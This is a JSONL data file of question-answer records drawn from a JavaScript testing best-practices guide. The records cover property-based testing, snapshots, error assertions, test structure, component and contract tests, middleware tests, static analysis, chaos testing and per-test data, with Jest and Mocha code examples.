{"id": "gh_eaa42463784f", "question": "How to: :clap:Doing It Right Example: Randomizing realistic input", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"Better: When adding new valid product, get successful confirmation\", async () => {\n  const addProductResult = addProduct(faker.commerce.productName(), faker.random.number());\n  //Generated random input: {'Sleek Cotton Computer',  85481}\n  expect(addProductResult).to.be.true;\n  //Test failed, the random input triggered some path we never planned for.\n  //We discovered a bug early!\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060892"}
{"id": "gh_7bab58876f35", "question": "How to: :clap: Doing It Right Example: Testing many input permutations with “fast-check”", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")\n\n```javascript\nimport fc from \"fast-check\";\n\ndescribe(\"Product service\", () => {\n  describe(\"Adding new\", () => {\n    //this will run 100 times with different random properties\n    it(\"Add new product with random yet valid properties, always successful\", () =>\n      fc.assert(\n        fc.property(fc.integer(), fc.string(), (id, name) => {\n          expect(addNewProduct(id, name).status).toEqual(\"approved\");\n        })\n      ));\n  });\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060908"}
{"id": "gh_e3ec35edc5ae", "question": "How to: ⚪ ️ 1.8 If needed, use only short & inline snapshots", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When there is a need for [snapshot testing](https://jestjs.io/docs/en/snapshot-testing), use only short and focused snapshots (i.e. 3-7 lines) that are included as part of the test ([Inline Snapshot](https://jestjs.io/docs/en/snapshot-testing#inline-snapshots)) and not within external files. Keeping this guideline will ensure your tests remain self-explanatory and less fragile.\n\nOn the other hand, ‘classic snapshots’ tutorials and tools encourage storing big files (e.g. component rendering markup, API JSON result) over some external medium and ensure each time when the test runs to compare the received result with the saved version. This, for example, can implicitly couple our test to 1000 lines with 3000 data values that the test writer never read and reasoned about. Why is this wrong? By doing so, there are 1000 reasons for your test to fail - it’s enough for a single line to change for the snapshot to get invalid and this is likely to happen a lot. How frequently? for every space, comment, or minor CSS/HTML change. Not only this, the test name wouldn’t give a clue about the failure as it just checks that 1000 lines didn’t change, also it encourages the test writer to accept as the desired true a long document he couldn’t inspect and verify. All of these are symptoms of obscure and eager test that is not focused and aims to achieve too much\n\nIt’s worth noting that there are few cases where long & external snapshots are acceptable - when asserting on schema and not data (extracting out values and focusing on fields) or when the received document rarely changes\n❌ **Otherwise:** A UI test fails. The code seems right, the screen renders perfect pixels, what happened? your snapshot testing just found a difference from the original document to the current received one - a single space character was added to the markdown...\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060917"}
{"id": "gh_dfb1307a1d77", "question": "How to: :thumbsdown: Anti-Pattern Example: Coupling our test to unseen 2000 lines of code", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")\n\n```javascript\nit(\"TestJavaScript.com is renderd correctly\", () => {\n  //Arrange\n\n  //Act\n  const receivedPage = renderer\n    .create(\nTest JavaScript\n)\n    .toJSON();\n\n  //Assert\n  expect(receivedPage).toMatchSnapshot();\n  //We now implicitly maintain a 2000 lines long document\n  //every additional line break or comment - will break this test\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060924"}
{"id": "gh_3e5fd63c178e", "question": "How to: :clap: Doing It Right Example: Expectations are visible and focused", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"When visiting TestJavaScript.com home page, a menu is displayed\", () => {\n  //Arrange\n\n  //Act\n  const receivedPage = renderer\n    .create(\nTest JavaScript\n)\n    .toJSON();\n\n  //Assert\n\n  const menu = receivedPage.content.menu;\n  expect(menu).toMatchInlineSnapshot(`\nHome\nAbout\nContact\n`);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060930"}
{"id": "gh_ea95f668741c", "question": "How to: ⚪ ️ 1.9 Copy code, but only what's neccessary", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Include all the necessary details that affect the test result, but nothing more. As an example, consider a test that should factor 100 lines of input JSON - Pasting this in every test is tedious. Extracting it outside to transferFactory.getJSON() will leave the test vague - Without data, it's hard to correlate the test result with the cause (\"why is it supposed to return 400 status?\"). The classic book x-unit patterns named this pattern 'the mystery guest' - Something unseen affected our test results, we don't know what exactly. We can do better by extracting repeatable long parts outside AND mentioning explicitly which specific details matter to the test. Going with the example above, the test can pass parameters that highlight what is important: transferFactory.getJSON({sender: undefined}). In this example, the reader should immediately infer that the empty sender field is the reason why the test should expect a validation error or any other similar adequate outcome.\n❌ **Otherwise:** Copying 500 JSON lines in will leave your tests unmaintainable and unreadable. Moving everything outside will end with vague tests that are hard to understand\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060938"}
{"id": "gh_1c3ff5954829", "question": "How to: :thumbsdown: Anti-Pattern Example: The test failure is unclear because all the cause is external and hides within huge JSON", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha\")\n\n```javascript\ntest(\"When no credit, then the transfer is declined\", async() => {\n      // Arrange\n      const transferRequest = testHelpers.factorMoneyTransfer() //get back 200 lines of JSON;\n      const transferServiceUnderTest = new TransferService();\n\n      // Act\n      const transferResponse = await transferServiceUnderTest.transfer(transferRequest);\n\n      // Assert\n      expect(transferResponse.status).toBe(409);// But why do we expect failure: All seems perfectly valid in the test 🤔\n    });\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060945"}
{"id": "gh_386d016682b6", "question": "How to: :clap: Doing It Right Example: The test highlights what is the cause of the test result", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\n\ntest(\"When no credit, then the transfer is declined \", async() => {\n      // Arrange\n      const transferRequest = testHelpers.factorMoneyTransfer({userCredit:100, transferAmount:200}) //obviously there is lack of credit\n      const transferServiceUnderTest = new TransferService({disallowOvercharge:true});\n\n      // Act\n      const transferResponse = await transferServiceUnderTest.transfer(transferRequest);\n\n      // Assert\n      expect(transferResponse.status).toBe(409); // Obviously if the user has no credit it should fail\n    });\n  ```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060950"}
{"id": "gh_040ecd48ae17", "question": "How to: ⚪ ️ 1.10 Don’t catch errors, expect them", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When trying to assert that some input triggers an error, it might look right to use try-catch-finally and asserts that the catch clause was entered. The result is an awkward and verbose test case (example below) that hides the simple test intent and the result expectations\n\nA more elegant alternative is the using the one-line dedicated Chai assertion: expect(method).to.throw (or in Jest: expect(method).toThrow()). It’s absolutely mandatory to also ensure the exception contains a property that tells the error type, otherwise given just a generic error the application won’t be able to do much rather than show a disappointing message to the user\n❌ **Otherwise:** It will be challenging to infer from the test reports (e.g. CI reports) what went wrong\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060957"}
{"id": "gh_135413ac9d39", "question": "How to: :thumbsdown: Anti-pattern Example: A long test case that tries to assert the existence of error with try-catch", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha\")\n\n```javascript\nit(\"When no product name, it throws error 400\", async () => {\n  let errorWeExceptFor = null;\n  try {\n    const result = await addNewProduct({});\n  } catch (error) {\n    expect(error.code).to.equal(\"InvalidInput\");\n    errorWeExceptFor = error;\n  }\n  expect(errorWeExceptFor).not.to.be.null;\n  //if this assertion fails, the tests results/reports will only show\n  //that some value is null, there won't be a word about a missing Exception\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060964"}
{"id": "gh_d2d9090a8ffd", "question": "How to: :clap: Doing It Right Example: A human-readable expectation that could be understood easily, maybe even by QA or technical PM", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\nit(\"When no product name, it throws error 400\", async () => {\n  await expect(addNewProduct({}))\n    .to.eventually.throw(AppError)\n    .with.property(\"code\", \"InvalidInput\");\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060969"}
{"id": "gh_9717ebefc5cf", "question": "How to: ⚪ ️ 1.11 Tag your tests", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Different tests must run on different scenarios: quick smoke, IO-less, tests should run when a developer saves or commits a file, full end-to-end tests usually run when a new pull request is submitted, etc. This can be achieved by tagging tests with keywords like #cold #api #sanity so you can grep with your testing harness and invoke the desired subset. For example, this is how you would invoke only the sanity test group with Mocha: mocha — grep ‘sanity’\n❌ **Otherwise:** Running all the tests, including tests that perform dozens of DB queries, any time a developer makes a small change can be extremely slow and keeps developers away from running tests\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060976"}
{"id": "gh_dae2207f3b26", "question": "How to: ⚪ ️ 1.12 Categorize tests under at least 2 levels", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Apply some structure to your test suite so an occasional visitor could easily understand the requirements (tests are the best documentation) and the various scenarios that are being tested. A common method for this is by placing at least 2 'describe' blocks above your tests: the 1st is for the name of the unit under test and the 2nd for an additional level of categorization like the scenario or custom categories (see code examples and the print screen below). Doing so will also greatly improve the test reports: The reader will easily infer the test categories, delve into the desired section and correlate failing tests. In addition, it will get much easier for a developer to navigate through the code of a suite with many tests. There are multiple alternative structures for the test suite that you may consider like [given-when-then](https://github.com/searls/jasmine-given) and [RITE](https://github.com/ericelliott/riteway)\n❌ **Otherwise:** When looking at a report with a flat and long list of tests, the reader has to skim-read through long texts to conclude the major scenarios and correlate the commonality of failing tests. Consider the following case: When 7/100 tests fail, looking at a flat list will demand reading the text of the failing to see how they relate to each other. However, in a hierarchical report, all of them could be under the same flow or category and the reader will quickly infer what or at least where is the root failure cause\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060987"}
{"id": "gh_dff9e81d88e0", "question": "How to: :clap: Doing It Right Example: Structuring suite with the name of unit under test and scenarios will lead to the convenient report that is shown below", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")\n\n```javascript\n// Unit under test\ndescribe(\"Transfer service\", () => {\n  //Scenario\n  describe(\"When no credit\", () => {\n    //Expectation\n    test(\"Then the response status should decline\", () => {});\n\n    //Expectation\n    test(\"Then it should send email to admin\", () => {});\n  });\n});\n```\n\n![alt text](assets/hierarchical-report.png)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.060994"}
{"id": "gh_d065f10ffcf2", "question": "How to: :thumbsdown: Anti-pattern Example: A flat list of tests will make it harder for the reader to identify the user stories and correlate failing tests", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Mocha\")\n\n```javascript\ntest(\"Then the response status should decline\", () => {});\n\ntest(\"Then it should send email\", () => {});\n\ntest(\"Then there should not be a new transfer record\", () => {});\n```\n\n![alt text](assets/flat-report.png)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061000"}
{"id": "gh_857a61220f50", "question": "How to: ⚪ ️1.13 Other generic good testing hygiene", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** This post is focused on testing advice that is related to or at least can be exemplified with Node JS. This bullet, however, groups a few non-Node related tips that are well-known\n\nLearn and practice [TDD principles](https://www.sm-cloud.com/book-review-test-driven-development-by-example-a-tldr/) — they are extremely valuable for many but don’t get intimidated if they don’t fit your style, you’re not the only one. Consider writing the tests before the code in a [red-green-refactor style](https://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html), ensure each test checks exactly one thing, when you find a bug — before fixing write a test that will detect this bug in the future, and let each test fail at least once before turning green, start a module by writing a quick and simplistic code that satisfies the test - then refactor gradually and take it to a production grade level, avoid any dependency on the environment (paths, OS, etc)\n❌ **Otherwise:** You‘ll miss pearls of wisdom that were collected for decades", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061007"}
{"id": "gh_e4988e3952de", "question": "How to: ⚪ ️2.1 Enrich your testing portfolio: Look beyond unit tests and the pyramid", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** The [testing pyramid](https://martinfowler.com/bliki/TestPyramid.html), though 10> years old, is a great and relevant model that suggests three testing types and influences most developers’ testing strategies. At the same time, more than a handful of shiny new testing techniques emerged and are hiding in the shadows of the testing pyramid. Given all the dramatic changes that we’ve seen in the recent 10 years (Microservices, cloud, serverless), is it even possible that one quite-old model will suit *all* types of applications? shouldn’t the testing world consider welcoming new testing techniques?\n\nDon’t get me wrong, in 2019 the testing pyramid, TDD, and unit tests are still a powerful technique and are probably the best match for many applications. Only like any other model, despite its usefulness, [it must be wrong sometimes](https://en.wikipedia.org/wiki/All_models_are_wrong). For example, consider an IoT application that ingests many events into a message-bus like Kafka/RabbitMQ, which then flow into some data-warehouse and are eventually queried by some analytics UI. Should we really spend 50% of our testing budget on writing unit tests for an application that is integration-centric and has almost no logic? As the diversity of application types increases (bots, crypto, Alexa-skills) greater are the chances to find scenarios where the testing pyramid is not the best match.\n\nIt’s time to enrich your testing portfolio and become familiar with more testing types (the next bullets suggest a few ideas), mind models like the testing pyramid but also match testing types to real-world problems that you’re facing (‘Hey, our API is broken, let’s write consumer-driven contract testing!’), diversify your tests like an investor that builds a portfolio based on risk analysis — assess where problems might arise and match some prevention measures to mitigate those potential risks\n\nA word of caution: the TDD argument in the software world takes a typical false-dichotomy face, some preach to use it everywhere, and others think it’s the devil. Everyone who speaks in absolutes is wrong :]\n❌ **Otherwise:** You’re going to miss some tools with amazing ROI, some like Fuzz, lint, and mutation can provide value in 10 minutes\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061018"}
{"id": "gh_923c6a9a5e25", "question": "How to: :clap: Doing It Right Example: Cindy Sridharan suggests a rich testing portfolio in her amazing post ‘Testing Microservices — the same way’", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-12-rich-testing.jpeg \"Cindy Sridharan suggests a rich testing portfolio in her amazing post ‘Testing Microservices — the sane way’\")\n☺️Example:\n[YouTube: “Beyond Unit Tests: 5 Shiny Node.JS Test Types (2018)” (Yoni Goldberg)](https://www.youtube.com/watch?v=-2zP494wdUY&feature=youtu.be)\n![alt text](assets/bp-12-Yoni-Goldberg-Testing.jpeg \"A test name that constitutes 3 parts\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061026"}
{"id": "gh_87549ce6f5a8", "question": "How to: ⚪ ️2.2 Component testing might be your best affair", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Each unit test covers a tiny portion of the application and it’s expensive to cover the whole, whereas end-to-end testing easily covers a lot of ground but is flaky and slower, why not apply a balanced approach and write tests that are bigger than unit tests but smaller than end-to-end testing? Component testing is the unsung song of the testing world — they provide the best of both worlds: reasonable performance and a possibility to apply TDD patterns + realistic and great coverage.\n\nComponent tests focus on the Microservice ‘unit’, they work against the API and don’t mock anything which belongs to the Microservice itself (e.g. real DB, or at least the in-memory version of that DB) but stub anything that is external like calls to other Microservices. By doing so, we test what we deploy, approach the app from outward to inward and gain great confidence in a reasonable amount of time.\n\n[We have a full guide that is solely dedicated to writing component tests in the right way](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\n❌ **Otherwise:** You may spend long days on writing unit tests to find out that you got only 20% system coverage\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061034"}
{"id": "gh_48053bf2cd05", "question": "How to: :clap: Doing It Right Example: Supertest allows approaching Express API in-process (fast and cover many layers)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Mocha-blue.svg \"Examples with Mocha\")\n\n![alt text](assets/bp-13-component-test-yoni-goldberg.png \" [Supertest](https://www.npmjs.com/package/supertest) allows approaching Express API in-process (fast and cover many layers)\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061040"}
{"id": "gh_26381192efaf", "question": "How to: ⚪ ️2.3 Ensure new releases don’t break the API using contract tests", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** So your Microservice has multiple clients, and you run multiple versions of the service for compatibility reasons (keeping everyone happy). Then you change some field and ‘boom!’, some important client who relies on this field is angry. This is the Catch-22 of the integration world: It’s very challenging for the server side to consider all the multiple client expectations — On the other hand, the clients can’t perform any testing because the server controls the release dates. There is a spectrum of techniques that can mitigate the contract problem, some are simple, other are more feature-rich and demand a steeper learning curve. In a simple and recommended approach, the API provider publishes npm package with the API typing (e.g. JSDoc, TypeScript). Then the consumers can fetch this library and benefit from codign time intellisense and validation. A fancier approach is to use [PACT](https://docs.pact.io/) which was born to formalize this process with a very disruptive approach — not the server defines the test plan itself rather the client defines the tests of the… server! PACT can record the client expectation and put it in a shared location, “broker”, so the server can pull the expectations and run on every build using the PACT library to detect broken contracts — a client expectation that is not met. By doing so, all the server-client API mismatches are caught early during build/CI and might save you a great deal of frustration\n❌ **Otherwise:** The alternatives are exhausting manual testing or deployment fear\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061048"}
{"id": "gh_0a21f820814f", "question": "How to: :clap: Doing It Right Example:", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20PACT-blue.svg \"Examples with PACT\")\n\n![alt text](assets/bp-14-testing-best-practices-contract-flow.png)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061054"}
{"id": "gh_d617b3f7146a", "question": "How to: ⚪ ️ 2.4 Test your middlewares in isolation", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Many avoid Middleware testing because they represent a small portion of the system and require a live Express server. Both reasons are wrong — Middlewares are small but affect all or most of the requests and can be tested easily as pure functions that get {req,res} JS objects. To test a middleware function one should just invoke it and spy ([using Sinon for example](https://www.npmjs.com/package/sinon)) on the interaction with the {req,res} objects to ensure the function performed the right action. The library [node-mock-http](https://www.npmjs.com/package/node-mocks-http) takes it even further and factors the {req,res} objects along with spying on their behavior. For example, it can assert whether the http status that was set on the res object matches the expectation (See example below)\n❌ **Otherwise:** A bug in Express middleware === a bug in all or most requests\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061060"}
{"id": "gh_4162bca8b98a", "question": "How to: :clap:Doing It Right Example: Testing middleware in isolation without issuing network calls and waking-up the entire Express machine", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Jest-blue.svg \"Examples with Jest\")\n\n```javascript\n//the middleware we want to test\nconst unitUnderTest = require(\"./middleware\");\nconst httpMocks = require(\"node-mocks-http\");\n//Jest syntax, equivelant to describe() & it() in Mocha\ntest(\"A request without authentication header, should return http status 403\", () => {\n  const request = httpMocks.createRequest({\n    method: \"GET\",\n    url: \"/user/42\",\n    headers: {\n      authentication: \"\"\n    }\n  });\n  const response = httpMocks.createResponse();\n  unitUnderTest(request, response);\n  expect(response.statusCode).toBe(403);\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061068"}
{"id": "gh_1598e974f68c", "question": "How to: ⚪ ️2.5 Measure and refactor using static analysis tools", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Using static analysis tools helps by giving objective ways to improve code quality and keep your code maintainable. You can add static analysis tools to your CI build to abort when it finds code smells. Its main selling points over plain linting are the ability to inspect quality in the context of multiple files (e.g. detect duplications), perform advanced analysis (e.g. code complexity) and follow the history and progress of code issues. Two examples of tools you can use are [SonarQube](https://www.sonarqube.org/) (4,900+ [stars](https://github.com/SonarSource/sonarqube)) and [Code Climate](https://codeclimate.com/) (2,000+ [stars](https://github.com/codeclimate/codeclimate))\n\nCredit:\n[Keith Holliday](https://github.com/TheHollidayInn)\n❌ **Otherwise:** With poor code quality, bugs and performance will always be an issue that no shiny new library or state of the art features can fix\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061075"}
{"id": "gh_dbbd1a5c7db1", "question": "How to: :clap: Doing It Right Example: CodeClimate, a commercial tool that can identify complex methods:", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔧%20Example%20using%20Code%20Climate-blue.svg \"Examples with CodeClimate\")\n\n![alt text](assets/bp-16-yoni-goldberg-quality.png \"CodeClimate, a commercial tool that can identify complex methods:\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061081"}
{"id": "gh_27714b95637e", "question": "How to: ⚪ ️ 2.6 Check your readiness for Node-related chaos", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Weirdly, most software testings are about logic & data only, but some of the worst things that happen (and are really hard to mitigate) are infrastructural issues. For example, did you ever test what happens when your process memory is overloaded, or when the server/process dies, or does your monitoring system realizes when the API becomes 50% slower?. To test and mitigate these type of bad things — [Chaos engineering](https://principlesofchaos.org/) was born by Netflix. It aims to provide awareness, frameworks and tools for testing our app resiliency for chaotic issues. For example, one of its famous tools, [the chaos monkey](https://github.com/Netflix/chaosmonkey), randomly kills servers to ensure that our service can still serve users and not relying on a single server (there is also a Kubernetes version, [kube-monkey](https://github.com/asobti/kube-monkey), that kills pods). All these tools work on the hosting/platform level, but what if you wish to test and generate pure Node chaos like check how your Node process copes with uncaught errors, unhandled promise rejection, v8 memory overloaded with the max allowed of 1.7GB or whether your UX remains satisfactory when the event loop gets blocked often? to address this I’ve written, [node-chaos](https://github.com/i0natan/node-chaos-monkey) (alpha) which provides all sort of Node-related chaotic acts\n❌ **Otherwise:** No escape here, Murphy’s law will hit your production without mercy\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061089"}
{"id": "gh_94fbdf018b26", "question": "How to: :clap: Doing It Right Example: : Node-chaos can generate all sort of Node.js pranks so you can test how resilience is your app to chaos", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-17-yoni-goldberg-chaos-monkey-nodejs.png \"Node-chaos can generate all sort of Node.js pranks so you can test how resilience is your app to chaos\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061094"}
{"id": "gh_70139467180c", "question": "How to: ⚪ ️2.7 Avoid global test fixtures and seeds, add data per-test", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Going by the golden rule (bullet 0), each test should add and act on its own set of DB rows to prevent coupling and easily reason about the test flow. In reality, this is often violated by testers who seed the DB with data before running the tests (also known as ‘test fixture’) for the sake of performance improvement. While performance is indeed a valid concern — it can be mitigated (see “Component testing” bullet), however, test complexity is a much painful sorrow that should govern other considerations most of the time. Practically, make each test case explicitly add the DB records it needs and act only on those records. If performance becomes a critical concern — a balanced compromise might come in the form of seeding the only suite of tests that are not mutating data (e.g. queries)\n❌ **Otherwise:** Few tests fail, a deployment is aborted, our team is going to spend precious time now, do we have a bug? let’s investigate, oh no — it seems that two tests were mutating the same seed data\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061101"}
